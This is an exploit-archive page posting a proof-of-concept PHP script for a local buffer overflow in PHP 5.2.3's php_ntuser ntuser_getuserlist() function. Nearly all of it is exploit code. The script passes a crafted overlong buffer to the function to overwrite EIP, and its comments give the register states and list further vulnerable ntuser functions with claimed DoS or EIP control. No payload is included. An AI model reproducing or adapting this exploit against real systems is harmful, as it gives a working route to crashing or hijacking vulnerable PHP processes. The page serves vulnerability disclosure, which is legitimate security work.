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phpget-overflow.txt

phpget-overflow.txt
Posted Aug 24, 2007
Authored by shinnai | Site shinnai.altervista.org

PHP version 5.2.3 php_ntuser ntuser_getuserlist() local buffer overflow proof of concept exploit.

tags | exploit, overflow, local, php, proof of concept
SHA-256 | 250dc104b4edbe5da195bf85ca78c5ddff4913d4ba7e7c83a7566c8fd85b27d6

phpget-overflow.txt

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<?php
//PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//greetz to BrainBugger Crew
//http://www.brainbugger.altervista.org/

//Bug discovered with "Footzo" (thanks to rgod) modified.

//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar

//also theese are vulnerable:
//ntuser_getusergroups <-- DoS, we control EAX
//ntuser_getdomaincontroller <-- DoS, we control EAX
//ntuser_getuserinfo <-- BoF, we control EIP 00410041

//This is the content of registers:

//EAX FFFFFFFE
//ECX 00000754
//EDX 00000041
//EBX 00223D18
//ESP 00C0FB34 UNICODE "CCC... x 100"
//EBP 00C0FBD0 UNICODE "CCC + DDD... x 100"
//ESI 011AC4A8
//EDI 011ADC00
//EIP 00410041

$buff = str_repeat("\x41", 250);

$get_EIP = "\x42\x42";

$get_ESP = str_repeat("\x43", 100);

$get_EBP = str_repeat("\x44", 100);

ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
?>

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